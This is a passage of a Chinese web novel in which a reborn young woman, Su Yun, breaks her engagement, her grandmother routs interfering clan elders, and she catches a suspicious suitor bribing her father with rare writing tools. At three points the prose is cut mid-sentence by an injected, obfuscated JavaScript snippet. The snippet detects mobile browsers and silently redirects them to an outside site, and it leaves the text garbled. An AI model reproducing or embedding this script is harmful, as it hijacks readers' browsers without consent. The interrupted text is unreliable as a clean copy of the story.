苏崇在一旁道：“我们宝贝女儿说话，岂有不信的理？原本我也不看好这门亲事，那严朝闻呆头呆脑的，哪里配得上我家徵儿？还有那江氏，还故意为难徵儿，我早就看她不顺眼了…” 林氏听不下去，“夫君，再怎么样，也不能背后非议人。” “就破例一次。”苏崇举起一根手指，旋即双手扶膝，朗声道，“今日，就让我们骂个痛快，以后与他严家，再无瓜葛！” “我同意！”苏韵来了精神，腾地起身，“那，谁先来？” 父女两人颇有默契地，齐齐看向林氏。 林氏先是摇头，但见父女二人仍满眼期盼，只得深吸一口气，缓缓开口，“那毒妇，江氏……” 苏崇点头，表示对这个开头很满意。 “那毒妇江氏，吊着眉梢三角眼，看着就是个克夫的面相！时时鼻孔朝天，心比天还高！”起初林氏还有些放不开，可在两双笑眼的鼓励下，越说越来劲，“她还总觉得她那个儿子是紫微星下凡，谁家娘子都配他不上，也不照照镜子，掂量掂量自己几斤几两重！郧乡县谁不知道她家？只出不进，每日吃穿用度都要一省再省，首饰能拿得出手的也就那么一两件，也不知道她哪来的信心，竟然跟我指手画脚……” 林氏这不张嘴还则罢了，一张嘴，仿佛要将数日以来的愤懑，一股脑全倒出来。 苏韵看着咬牙切齿，滔滔不绝，时不时还把案几拍得哐哐响的阿娘傻了眼，再扭头去看阿耶，嘴巴张得比她还要大。 八成他也惊诧，平日里温柔娴静夫人，竟一口气能说这么多话——还是骂人的话。 从午后一直到天黑，足足两个时辰，林氏终于骂够了。 可怜苦主苏韵，只抽空在中间附和了几句“就是”“没错”“说得太对了”，阿娘根本没给她单独发挥的机会。 * 之前与严家周旋，林氏日日伤神，觉睡得也浅，常常夜里醒了，便无法再入睡，这发泄一通之后，倒一夜好眠，第二日不到卯时便起身，着手清点严家送来的聘礼。 既然是要退亲，聘礼总得原封不动送回去。 严母江氏本就不好相与，若是退还的聘礼再出了差错，搞不好要闹翻天。 林氏拿着礼单对了一遍又一遍，每样东西都细细检查有无缺损，饶是聘礼数量不多，这一番下来也是临近晌午了。 苏韵远远瞧着，心中不是滋味，到底是她害得阿娘受累了，日后得好好孝顺她老人家才是。 良久，她扯起笑脸，领着雪信迎了上去。 “阿娘，明日吃水盆羊肉怎么样？” 林氏将礼单合上，递给侍女玉奴，示意下人们封箱，转头奇道：“怎么突然想吃羊肉了？你不是不爱吃吗？” “您爱吃就行了呀！”苏韵攀着林氏手臂，撒娇道，“等明日从严家回来，咱们一家人坐在一起，好好吃顿饭。” 林氏想到女儿多年痴情，终落得一场空，忍不住一阵心疼，抬手拨了拨她的碎发，柔声道：“好，都依你。” 苏韵喜笑颜开，“阿耶呢？咱们去找他，也问问他想吃什么。” “你阿耶还不是在书房……” “夫人！”没等林氏话说完，藏春气喘吁吁跑过来，急道，“夫人，娘子，族里长辈们都来了，就在中堂呢！” 林氏疑惑，“这不年不节的，他们怎么来了？” 说是族里长辈，主要是苏崇二叔那一支。 两房几十年前就分了家，虽同住郧乡县，却一个在南，一个在北，平日里很少走动，只有在逢年过节和有大事发生时，才会露面。 苏韵突然问道：“藏春，瞧见长辈们什么表情没有？” “表情？”藏春回忆了一下，“不太好，尤其老家翁，气势汹汹的。” “二伯母也在？” “在，人就是二夫人迎进门的。” 果然。 苏韵咬牙。 昨日才说要退亲，今日长辈们便上了门，要说两件事没关联，黄口小儿都不信。 两家又住得远，这边还没有动作，那边就来兴师问罪了，这中间，定是有人通风报信。 林氏也猜到了几分，面色沉郁下来，“家主呢？” 藏春答道：“已经过去了，家主说，他自会应付，叫夫人和娘子不必露面，回房躲着就行。” 林氏眉头紧锁。 苏家长辈兴师动众前来，绝不会只是骂骂苏崇那么简单。 在他们眼中，纵容女儿无故退亲，她这个做母亲的，一定是罪大恶极，可做父亲的却不见得。 罪魁祸首藏着不出现，却推夫君出来挡灾，这落到他们口中，又是另一桩官司。 看来是避无可避了。 想到这，林氏转向苏韵，沉声道：“徵儿，你先回房去。” 苏韵伸手扯住母亲，“阿娘，我也去。” “听话。” 林氏在她手背轻拍两下，以示安抚，旋即转身离开。 雪信面露焦急之色，“娘子，要是老家翁拿祖宗家法什么的，强压家主，不让退亲，可怎么办呀？” 苏韵也深感不妙。 本朝历来颇重孝道，倘若阿耶真因为她的事，和长辈闹得太僵，怕是要被人戳脊梁骨。 尤其阿耶还是本县县丞，若是风评不好，日后办起公务来也会束手束脚。 可叫她就这么妥协，她也不甘心。 到底应该怎么办呢？ 她双手环抱胸前，右手食指在大臂上有一下没一下地点着，脚下不自觉地，绕着母亲亲手种的几棵樱桃树踱步。 这是她的习惯动作，藏春雪信两人知道她正在苦思，不喜打扰，皆屏息静待。 主子的记性，一直都是极好的，只是记得太多事情，偶尔也需要时间理一理。 “有了！”苏韵眼睛一亮，转头道，“藏春，你留在这里，盯着这些聘礼别让人靠近，雪信，你跟我走一趟。” “是。”二人齐齐应声。 “放心吧。”苏韵双臂搭上她们俩，勾了勾嘴角，“这次，绝对不会再让你们跟着我吃苦了！” 藏春似懂非懂地点了点头。 雪信也摸不着头脑，“这次？” 她也不多解释，轻快转身，“快走吧，再晚就来不及了。” 主仆二人匆匆出了院子，还没走上几步，苏韵背上一疼，竟是有人用石子丢她。 一回头，只见她那个倒霉催的堂弟苏承会，由一个胖胖的小厮背着，正朝她做鬼脸。 苏承会是胡氏的儿子，比她小三岁，从小便处处与她作对，二伯父入宫后，他更变本加厉，不是往她院子里丢马蜂窝，就是偷她的鞋子丢到水里去，和他母亲一样，讨人厌得紧。 不过现下她可没功夫教训他。 她白了他一眼，“懒得理你。” “苏韵！”见她要走，苏承会叫嚣，“退亲你就别想了！我决不会让你做出这等，让苏家蒙羞之事！” 听听，“让苏家蒙羞”，全家也就胡氏能说出这样的话来。 苏韵忍无可忍，怫然转身，“又是你阿娘教你的吧？你自己的脑子呢？是舍不得用，还是根本没脑子可用？” 少年显然没想到她会直接骂回来，脸瞬间涨成猪肝色，“你，你再说一遍！” “说几遍也是一样的！”她面带蔑色打量他一番，“不管你存了什么心思，我都劝你趁早放弃，别自讨苦吃。” 苏承会忙否认，“什么心思，我，我才没有！” 她无奈叹了口气，“你，袖子里藏了短棍，他，怀里装了布袋。” 两人一下被拆穿，瞬间慌乱起来。 “我告诉你，你在严家聘礼上做手脚，阻止不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540627|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我退亲，若真有损毁或者丢失，为了不落人口实，我们至少得按折价三倍补偿给人家，或者找些稀罕物什替进去。”苏韵伸出三根手指，轻笑道，“也是，反正你家宝贝多，到时让二伯父挑几件好的出来，也叫我长长眼。” 苏承会傻了眼。 趁他出神，苏韵转身就走，还不忘扬声朝院子里喊道：“藏春，要是有不长眼的想溜进院子作怪，就给我狠狠地打！” * “荒唐，荒唐！” 说话的老翁七十多岁，坐在中堂正中，将手里拐杖顿得铛铛直响。 “阿耶消消气。”身旁一个中年人，忙去抚老翁的背，又转头恨铁不成钢地斥道，“正卿，咱们苏家，在郧乡县也算是有头有脸的，你纵容女儿如此行事，叫我们同族的脸，往哪搁啊？” 苏崇无奈苦笑，双手一摊，“二叔，堂兄，这礼未成，亲未结，怎么就不能退了？退了亲，两个孩子分道扬镳，各自安好，怎么就能让你们没脸了呢？这都哪跟哪啊…” “亏你还是一方赞府，竟能说出如此荒唐的话来？”苏翁浑浊老眼一瞪，径直打断，“收了聘礼，过了官府文书，徵儿就是他严家的人了，这还没过门侍奉舅姑，便编排出夫家诸多不是来，你们夫妇，平日里就是这么教养女儿的？” 林氏垂首便要行礼，“二叔教训得是。” “是什么是？”见夫人低眉顺眼地认错，苏崇心中不快，抬手将人擎住，瓮声瓮气道，“我儿说得，句句属实，那严家夫人行事如何，街头巷尾早就传遍了，还用得着我儿编排？您也说了，这还没过门呢，严家便总想着拿捏一二，这要是过了门，我儿还能有好日子过？” “哎呀正卿，”一旁清瘦中年妇人，苏崇的堂嫂姚氏忍不住开口，“那成亲前，舅姑想给媳妇立规矩，还不是常有的事？只要徵儿嫁过去贤良乖顺，勤俭持家，她江氏再挑剔，也没由头说徵儿的不是啊。” 另一年纪相仿的大嘴妇人，堂嫂傅氏也点头附和，“就是就是，徵儿是你独女，你自是万分宝贝，可那严家郎君已是她能够得着的，最好的婚配了，真要是错过了，怕是打着灯笼也难找了。” 苏崇不爱听，“我儿灵心慧性，怎么就够不着好的了？严家那小子，我还看不上呢！” “你看不上。”苏崇堂兄苏振，服侍阿耶喝了口水，回头斜一眼，“看不上你答应人家求亲做什么？” “我……”苏崇语塞。 “严家你都看不上？”胡氏垂眼看着自己的指甲，阴阳怪气道，“三郎一直深谙中庸之道，怎的在择婿上，反倒眼高于顶了？” 听到夫君又被嘲讽，林氏忍不住替他分辩，“二嫂不是也盼着香尘，能嫁到西京去么？这为人父母的，心都是一样的，都希望儿女过得好些，再好些。” 胡氏抓住话里的漏洞，倾身向前，“这么说，毓秀妹妹是给徵儿，寻着更好的夫家了？” 林氏连忙否认，“绝没有这回事。” “都是自家人，有什么不能说的。”胡氏一副“我都懂”的模样，“真要是如此，我倒是能理解毓秀妹妹了，我这个做二伯母的，也是希望徵儿好。” 眼见苏翁面色阴了下来，苏崇忙道：“二嫂，这话可不能乱说。” 苏家虽不是什么名门大儒，却也自诩清流文人风骨，不满夫家是一码事，攀名附利又是另外一码事。 “你给我跪下！”苏翁怒不可遏。 苏崇犹豫片刻，还是乖乖跪了下来，但仍试图辩解一二，“二叔，你听我说…” “官场数年，不见你有所建树，反倒将这趋炎奉势学了个干净！你也算是饱读圣贤诗书，如此嫌贫爱富，唯利是图，你对得起苏家列祖列宗吗？”苏翁颤巍巍举起拐杖便要打，“我今日，便替我过世的长兄，教训你个不孝子！” 眼看拐杖在头顶高高扬起，苏崇认命般地闭上双眼。 “给我住手！” 一道沧桑却中气十足的女声，从堂外传来。 5. 第5章 定风波 堂内众人惊诧望去，只见苏韵搀扶着一位精神矍铄的老妇，从堂外徐徐走来。 苏翁见到来人一怔，举在空中的拐杖打也不是，放也不是。 林氏最快反应过来，忙上前去迎，“阿姑。” “嗯。”苏母应了一声，冷眼瞧着地上跪着的儿子，斥道，“三郎，你阿耶活着的时候，你都没跪他几回，如今年岁长了，膝盖倒是愈发软了！” 苏崇连忙起身，“阿娘，您怎么来了？” 苏母眼睛斜睨向苏翁，答非所问冷哼道：“我还没死呢，儿孙的亲事，轮不到其他人来做这个主。” 苏韵心中愕然，身旁这个言辞犀利，气场骇人的老人，还是她那慈眉善目的祖母吗？ 堂内众人也皆是一惊，面面相觑之后，纷纷起身见礼。 见苏母来到跟前，苏翁只得放下拐杖，闷声问了句，“长嫂，许久未见，近来可好？” 苏母脚步不停，越过苏翁父子，径直在主位坐下，面无表情道：“好不好的，不劳你挂念，几十年前分家时，你曾说过，你家的事，不劳你长兄和我费心，怎么老了老了，倒跑到我这，管起我孙女的事来了？” 胡氏和林氏闻言皆一惊。 自打嫁进苏家来，只知道两房关系不是很热络，却不知还有此等陈年旧事。 她们尚且不知，那小辈又是如何知晓的呢？ 林氏忍不住去看立在另一旁的苏韵，却见她正一脸崇拜之色，望着祖母。 惊诧过后，胡氏后脊开始发凉。 苏母成日待在院子里，翻看医书伺弄草药，好似什么都不关心，不但免了小辈们的晨昏定省，府上大事小情也向来不过问，俨然一副超脱世外，老神仙的做派。 当初严家提亲时，苏崇夫妇也曾前去问过苏母的意见，苏母在细细听过之后，只说徵儿满意便是，她这个当祖母的没什么特殊想法。 苏母历来如此，是以胡氏才舍近求远，跑去找二叔帮忙，希望长辈能以君子重德为由，驳了苏崇退亲的念头。 如今看来，这一步棋，实在是错得离谱。 放着自家长辈不问，倒请了旁人来做主，这明摆着就是没把她老人家当回事。 得找机会往回找补才是。 想到这，胡氏讪笑几声，“阿姑，二叔也是关心…” 后半句没等说出口，就被苏母冷冷扫过的眼神冻住了。 “大伯母，”苏振毕恭毕敬道，“不管怎么说，咱们毕竟是一家人，还是得多走动，有什么事，也好相互照应不是？” 苏母不为所动，“你们小辈愿意来往，我不拦着，但若有人想要跑到我府上来，以我夫君的名义，打我的儿子，得先问过老婆子我，给不给你这个脸！” 苏翁面色铁青，“长嫂，当真要如此么？” 苏母反问，“我说得还不够明白？” 苏翁不再作声。 苏韵偷偷抬眼瞥过去，二叔祖正直直瞪着祖母，眼里的愠色简直快要溢出来，要不是年迈肤色深，估计早就脸红脖子粗了。 这也难怪，在这么多小辈面前丢脸，还无法反驳，搁谁谁都难受。 反观祖母，牢牢坐定，面不改色与二叔祖对视，还在气势上压了对方一头。 巾帼须眉！她暗暗在心里竖了竖大拇指。 两位年逾古稀的老人这么剑拔弩张，堂内气氛压抑到极点，小辈们大气都不敢喘。 在事情闹得更僵之前，总得有人解围。 苏振硬着头皮上前，讪讪道：“大伯母，您看……” 立在堂中的苏翁，枯槁老手一抬，将其打断，“我们走。” “阿耶…”苏振还想劝说一二。 “走！” 苏翁这一吼，似乎用尽了全身的气力，转头之时身形一晃，但他很快拨开苏振伸过来的手，拄着拐杖，步履蹒跚地出了门。 跟随而来的男男女女面面相觑，谁也没想到会是这个结果，既然老家主都已经走了，他们也没有再留下的必要了，纷纷起身告辞。 堂内只剩下苏母、胡氏，还有苏崇一家三口。 苏韵瞧着祖母，面色不悦斜乜向胡氏，便知道她老人家定会向胡氏发难，所以并不急着开口。 “二郎家的。”苏母唤道。 胡氏忙起身，“在。” “原本我想着，孝心不流于形式，每日晨昏定省，你们累，我也烦，这才免了去，谁知竟叫你忘了，家里还有我这个老婆子。” “阿姑，我…” 苏母冷声呵斥，“我话还没说完。” “是。”胡氏忙闭了嘴。 “相夫，你夫君每月只回来几日，连顿好的也吃不上；教子，香尘亲事没着落，承会书读得一塌糊涂。”苏母数落起胡氏来，丝毫不留情面，“既然你什么都做不好，那便跟玥娘从头学起。明日起，你每日晨昏定省，雷打不动，用过朝食之后便去找玥娘，你可听清楚了？” 胡氏虽不情愿，却也不敢违逆，只得嗫嚅道：“听清楚了。” 苏母眼也不抬，“听清楚便回去吧。” “是。” 胡氏起身行了礼，灰溜溜出了门。 苏韵心中叹然，这一个两个，都被撵了出去，说一不二，不怒自威，这样的祖母，她可从未见过。 还好她紧要关头，想起前世，苏璎曾偶然提起过，祖父和二叔祖的陈年旧事—— 二叔祖年少之时，在已有妻子的情况下与一名歌伎相爱，想方设法纳其为妾，对其极尽宠爱，颇有宠妾灭妻之嫌。 祖父看不过，将二叔祖训斥一番，祖母更欲将歌伎赶出家门。 二叔祖自然不肯，与祖父祖母大吵一架之后分了家，搬到偏远的县南，扬言以后他的事，不劳长兄长嫂费心，只差没直接说要断绝关系。 祖父的父母走得早，所谓长嫂如母，二叔祖分府迁走后，祖母还伤心了好长一段时间。 这么多年不见两房频繁来往，足可见并未冰释前嫌。 “徵儿啊。”一声轻唤打断她的思绪。 苏母朝她伸出手去，声音也柔和了几分。 “阿婆。”她乖乖上前，把手放到祖母掌心。 “这世道，女子不易，本想着让你选个中意的郎君，至少能苦中取乐，过上几年舒坦日子，谁知…”苏母摩挲着她娇嫩的手背，轻叹一声，“不过你能见微知著，也是好事，至少不用撞了南墙再回头。” 苏韵苦笑。 只有她自己知道，这南墙她不但撞了，还撞得头破血流。 苏母继续道：“你呢，也无需沮丧，这天下好郎君多的是，你一向颖悟，只要能坚守本心，在哪都会过得很好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540628|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢阿婆，徵儿谨记。” 坚守本心。 苏韵另一只手在袖子里捏成拳头。 是啊，那个明媚生动的自己，这次可不能再弄丢了。 “阿娘。”苏崇上前垂首认错，“都是儿不好，原本今日一早，儿便要去问您的意思来着，可碰巧儿的好友，给儿送来一只上好的诸葛笔，儿…唉！您也知道，儿就这点爱好，便一时忘形，耽搁了，这才叫您最后一个知道，并非故意瞒着您。” 瞧着挺大个男人耷拉个脑袋，说话还瓮声瓮气，苏母无奈，“行啦！我又没说什么。” 苏崇吸了吸鼻子，“多谢阿娘体谅。” “玥娘，去把我的那串水玉念珠给三郎拿上，给严家当作赔礼。”苏母吩咐过玥娘，又转过头嘱咐夫妇俩道，“你们两个再挑些东西带上，到了严家好好说，要求得人家谅解，毕竟是我们失信在先。” “阿娘放心。”苏崇拍着胸脯保证。 苏母转向苏韵，“徵儿，在你耶娘去严家之前，你还是约严家郎君见个面，把话都说清楚，了了他的心思，以免日后再生事端。” 苏韵郑重点头，“是。” “行啦，”苏母在玥娘的搀扶下起身，“我也乏了，你们都去忙吧。” “那，儿先行一步。”苏崇有些等不及，指着堂外，“儿的好友，还在书房等着。” 苏母一扬下巴，“去吧。” “欸。”苏崇撩袍快步出了中堂。 林氏和苏韵也行了礼，转身便要离开。 刚行几步，苏韵好像想到什么似的，脚步倏地顿住，林氏猜到她是有话要同祖母说，也不多问，径直先出了门，给她们祖孙二人留出空间。 苏韵缓缓回身，迟疑片刻，才抬头对上苏母的眼，“徵儿有一事不明，想要请教阿婆。” “你说。” “世人多面，初时相交，见的皆是最光鲜的一面，夫君如是，舅姑亦如是，不朝夕相对，根本无法分辨对方是人是鬼。”她眉心微跳，眼里尽是迷茫之色，“难道女子命途好恶全凭天意，赌赢了，皆大欢喜，赌输了，便要受那火煎油烹之苦，永世不得超生？” 苏母听过之后，非但不疑惑，反倒露出几分欣慰的神色来。 “几个孩子里，你最像我，可我在你这个年纪，也并没能想到这么多。”苏母顿了顿，又道，“我说这世道女子不易，是因为，大多数女子要仰仗夫君过活，一生喜乐皆系于夫君身上，不管对方给的是蔗浆还是毒药，都只能双手接着。” 苏韵静静听着。 “你也许在想，若不知前方是坦途，还是崎岖山路，为何我非要走这一遭呢？”苏母目光转向堂外满园春色，唇边漾起无尽笑意，“人活一世，如乘车远行，遇到风景想下车看看，那便去看，不必畏首畏尾。旖旎湖光是景，泥泞沼泽亦是景，喜欢就留下，不喜欢，转身回到车上，继续向前便是。悲喜由己不由人，命途便不再是赌注，而是棋局，一招一式，输赢全凭自己。” “悲喜由己，不由人。”苏韵喃喃重复着，若有所思。 苏母见她出神，朝玥娘一摆手，玥娘忙过来搀扶，主仆二人无声无息出了门。 苏韵还在原地呆呆出神。 还不等她想明白，雪信从外面进来，将一封信送到她眼前，“娘子，严郎君的信。” 6. 第6章 添春色 苏韵懵怔低头，直到看清手中那张桃红色的薛涛笺，才将思绪完全拉回来。 精致的小笺上，字体飘洒俊逸—— “惟有绿荷红菡萏，卷舒开合任天真。” 这是一位当代著名诗人，写给自己新婚妻子的诗。 她知道，他是借此诗句，向她表达心意，木讷如他，表露心思的次数可谓是屈指可数。 还记得上辈子她收到这封信时，心中有多欢喜，恨不得马上扑进他的怀里，与他互诉衷肠。 如今看来，真是既讽刺又可笑。 他母亲江氏，堂而皇之地对她多加羞辱，他都选择视而不见，拿着这张，足够他们家一个月吃穿嚼用的薛涛笺，表的又是哪门子的心意。 苏韵嗤笑一声，“长庚还在吧？” 雪信点头，“在，门口候着呢。” 长庚是严朝闻的小厮，因为每次送信来，她不管在做什么，都会第一时间提笔回信，所以长庚总会在门口等上一阵子。 苏韵五指用力，将手中薛涛笺团成一团，“让他回去告诉严朝闻，申时正，老地方见。” …… 祖母发了话，胡氏不敢再造次，退亲一事没了阻碍，眼瞧着成了板上钉钉的事，只等明日耶娘带着聘礼，去登严家的门。 苏韵心情大好，出了中堂，她脚步轻快直奔厨房，叫下人们明日一早，便去集市上采买些新鲜羊肉、鸡和时令蔬菜。祖母吃素，阿娘喜欢吃羊肉，阿耶则喜欢吃葫芦鸡和荠菜，再给他准备一坛上好的九酝酒，岂不美哉？ 其实她也想饮些酒，庆祝一下的，可惜现在的她，还未出阁，阿娘怕是不允。 她鲜少来张罗吃食，厨娘和膳夫都忍不住多问了几句，生怕漏掉什么，她一走，厨房里面便议论开了。 厨娘春秀探头瞧着人走远了，转身奇道：“原以为四娘子眼里，只有严家郎君没有旁人，如今瞧着，竟也是个贴心的。” 一旁切菜的周大娘深以为然，放下菜刀，煞有其事附和，“可不是？还将长辈的喜好记得清清楚楚，一看就是上了心的，算起来，该是两家定好日子，就要嫁过去了吧？” “哎！”膳夫郝七招手将两人叫到跟前，左右瞧瞧没人，这才低声道，“都说三夫人一直没给严家回礼，是要退亲呢！” “不可能！”周大娘不信，“那四娘子还不早就闹翻了？你瞧瞧刚才那欢喜模样，像吗？” 春秀摇头，“瞧着是不像，不过真要是退亲，也能理解，你们不知道，外面都怎么说四娘子的，啧啧，不堪入耳。” “四娘子闹不闹我不知道。”郝七笃定道，“那严家夫人定是不肯罢休，她那么宝贝她儿子，怎么可能任他受折辱，还不得…” “咳咳。” 一声假咳打断了对话，随后玥娘出现在厨房门口。 三人忙各归各位，装作若无其事。 玥娘一如既往冷着一张脸，声音也冷冰冰的，“给五娘子的汤好了么？” “好了，好了。”郝七赔笑着将汤端出。 玥娘示意身边的小侍女接过汤盅，临出门前撂下句话，“多做事，少说话，尤其是不该说的话。” * 安排好了明日的吃食，苏韵准备回房，穿过外院临近中门时，听到一阵轻快婉转的鸟叫，仰头去寻，发现一只她从未见过的，有着青绿色羽毛的鸟儿，正在檐上跳跃欢唱。 她一直喜欢鸟儿。 她羡慕它们有一双翅膀，能自由自在，不被四方宅院所困。 上辈子她疲于生计，再加上短视，已经记不清，有多久没这样看过鸟儿了。 反正还有些时间，她干脆原地站定，饶有兴趣地看了起来，心思完全被那灵动的小家伙吸引了去。 正当她看得起劲，一声清脆的呼哨声传来，鸟儿受了惊，拍打着翅膀飞起，转眼便没了踪影，紧接着身后传来急促的脚步声。 苏韵回头，见一行三名身量差不多的小厮，做相同打扮，每人手中都托着或大或小的紫檀木盒子，从影壁跟前，直奔外院书房。 小厮们个个身形匀称，脚步轻盈敏捷，似乎都是练家子。 她不禁心生疑惑。 刚刚阿耶是说过，有好友在书房等着他，常到府上来的吕伯伯和蒋伯伯，可没有这么大的架势。 方才那些小厮，训练有素，一看就是从大户人家出来的，且衣帽鞋袜皆非凡品，光是那一双锦鞋，就快顶阿耶半月俸禄了。 放眼整个郧乡县，能做到这么豪气的，只有两家。 一个是司马家。 司马家世代簪缨，老家主司马开山是本朝开国功勋，被封成国公，享无上尊荣，解甲归田后回了乡。 那样的家族，自然不会到苏家这种小门小户来拜访。 另一个是殷家。 殷家是当地富商巨贾，说郧乡县有一半都是殷家的也不过分，前世严朝闻后娶进门的殷妙筠，便是殷家女儿。 家主殷顺，随着财富大量积累，愈发目中无人，像阿耶这种“小人物”，更是没可能见到他。 那书房内，到底是什么人呢？ 她记性向来不错，郧乡县历年比较大的活动，也都凑过热闹，若是本地乡绅乡贤常用的下人，怎么说也该有点印象才是。 这几个却是面生的。 如此贵客，定是从正门迎进来的。 阿耶毕竟是官身，这流水似的紫檀木盒子进门，要是被有心人瞧见了，怕是要惹出是非。 且之前从没听他提过，有什么身份显赫的“好友”，想来两人相识不久，初识便送诸葛笔，还有刚刚那些价值不菲的盒子，出手阔绰至此，动机实在是可疑。 搞不好前世阿耶左迁，便是因为着了这人的道。 思来想去，苏韵决定过去看看。 作为一个还未出阁的小娘子，扒在书房门口偷看来客，确实不太妥当，可她也顾不了那么多了。 她装作四处寻鸟的样子，若无其事朝书房走去。 书房前方有棵玉兰花树，她在树前停下，假意仰头，实则瞥向屋内，可视线被横成一排的小厮遮挡，什么也瞧不见，但好在离得还算近，隐约能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540629|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到屋里的谈话。 “苏公，请。” 一个年轻男子的声音响起，慵懒中还带着些笑意。 这声音怎么如此熟悉？ 难道这个人，她前世便见过？ 苏韵满脑袋问题，可还来不及细想，便听到阿耶的充满疑惑，又有些惊喜的声音。 “这，这是？” “我有一表兄，和苏公一样，最喜欢文房四宝，这次我去徽州办事，受他所托顺路采买这些，自然要给苏公也带上一份。” 一听到“文房四宝”四个字，苏韵就知道，糟了。 阿耶没别的爱好，只喜好书法丹青，闲暇时光几乎都在书房里度过，对笔墨纸砚等物，更是到了痴迷的程度。 去岁他曾得好友相赠，得了一支诸葛笔，可谓是爱若珍宝，可前些日子出门写生，竟不小心遗失了，为此他长吁短叹了足有月余。 要说对方送其他的东西，她一点都不担心，阿耶定能洁身自好不为所动，可这些都是他梦寐以求的东西，对方有备而来又巧舌如簧，万一他招架不住，一时糊涂… 得想办法提醒阿耶才行。 在阿耶身边伺候的冯叔又不在，苏韵急得团团转，屋内苏崇却对这一切毫不知情，只顾探着脖子，瞧着盒子里的东西，双目放光。 一位约莫二十出头，身着楝色金丝团花圆领袍衫的隽秀郎君，抬手做请的手势，“苏公，不如上前一观？” 苏崇早就迫不及待，只是碍于颜面才迟迟未上前，闻言三步并两步凑到跟前，随即赞叹声连连。 “这，这是…李廷珪墨？” “哎呀，哎呀，这澄心堂纸，果真如传说一般，细致光润，首尾均薄如一啊！” “这这这——” 苏崇指着最后一个盒子，惊喜转身，“若我没看错，这是歙州龙尾砚？” 年轻郎君笑着点头，“苏公果然好眼力。” “瞧这纹理，这雕花，”苏崇小心翼翼把砚台拿在手里，左右相看，啧啧称奇，“这比我上次，在李刺史府上看到的那方，还要精致许多啊！” 年轻郎君瞧着他爱不释手的模样，也难掩笑意，贴心介绍道：“都说这龙尾砚，磨墨无声，多年宿墨，一濯即莹。” “当真如此神奇？” “苏公不妨试上一试。” 话音刚落，小厮们便闻声而动，几人配合默契，三下五除二便将案上杯盏盘碟撤掉，之后将盒子里几样东西，连同之前的诸葛笔，规整摆好，只等苏崇上前。 “这，这不太合适吧…” 苏崇嘴上虽拒绝，可目光一直没离开过那几样宝贝，看得出他内心也在天人交战。 “这有什么不合适的？上次苏公割爱的孤本，乃是无价之宝，花多少钱也是求不来的，用这几样俗物来交换，还是您亏了，我这心里很是过意不去呢。” 几句话把苏崇说得心动不已，犹豫着张口，“那…” “阿耶，阿娘她…” 苏韵突然闯进来，在看清阿耶身后年轻郎君的相貌后，大吃一惊，“是你？” 7. 第7章 相见欢 书房内的年轻郎君，身量颀长，面如傅粉，见到苏韵，一双桃花眼痴痴笑成弯月，呲着小白牙，薄唇恨不得咧到耳根，不是谢三省是谁？ 谢三省上前两步刚要张口，余光瞥见苏崇还看着，忙收起笑容，像模像样地给苏韵行了个礼，“谢某见过苏娘子。” 苏韵敷衍地回了个礼，旋即别过头不去看他，试图与他划清界限。 夹在中间的苏崇歪头看看女儿，再看看谢三省，疑惑问道：“你们…认识？” “认识。” “不认识。” 两人异口同声。 苏崇更懵了。 “我才不认识他。” 苏韵又强调一遍，说完斜眼瞪向谢三省，试图用眼神警告他，不要乱说话。 对面的大个子识相地抿严了嘴。 虽然隐约觉得哪里怪怪的，但苏崇也没多想，心思都在女儿进门时的话上，“徵儿，你刚刚说你阿娘，怎么了？” “阿娘她……”苏韵一时语塞。 本就是情急之下顺口胡诌，好阻拦阿耶收下贵重物什，如今见到屋内竟是谢三省，更是想早早把阿耶支走，问问他到底想干什么，她指着外面道：“祖母刚不是说，叫咱们挑些东西再去严家嘛，阿娘她…她自己拿不定主意。” “就这？”苏崇丈二和尚摸不着头脑，扭头看了看谢三省，又压低了声音问，“贵客还在，晚些不行吗？” 这个浪荡子算哪门子的贵客？ 苏韵心里腹诽，嘴上却煞有其事道：“除了这些要带的东西，还有些文书要准备，哦对，还有刘阿翁，提亲的时候被请来帮着说和，这退亲，是不是也该知会他老人家一声？这帖子，还得您亲自递，太晚了怕是不好。” “这点我倒是没想到。”苏崇若有所思点头。 “那阿耶您先去忙，徵儿替您……” “对，你先替我招待谢君，我去去就来。”苏崇又面带歉意地，扭头对谢三省道，“实在是抱歉，我还得处理些琐事，不过谢君，务必要留下来用夕食，届时，你我再探讨一二。” 说罢，匆匆离去。 “阿耶，阿……” 苏韵傻眼，其实她原本想说的是，替阿耶把人送出去。 谢三省身边的小厮谢怀序，见状忙识趣地退了出去。 书房内只剩下她跟谢三省两个人。 她回头，狠狠盯住他，他还是那副嬉皮笑脸，吊儿郎当的样子。 直觉告诉她，这个人出现在这，绝不是巧合。 …… 她与谢三省，初识是在重光寺。 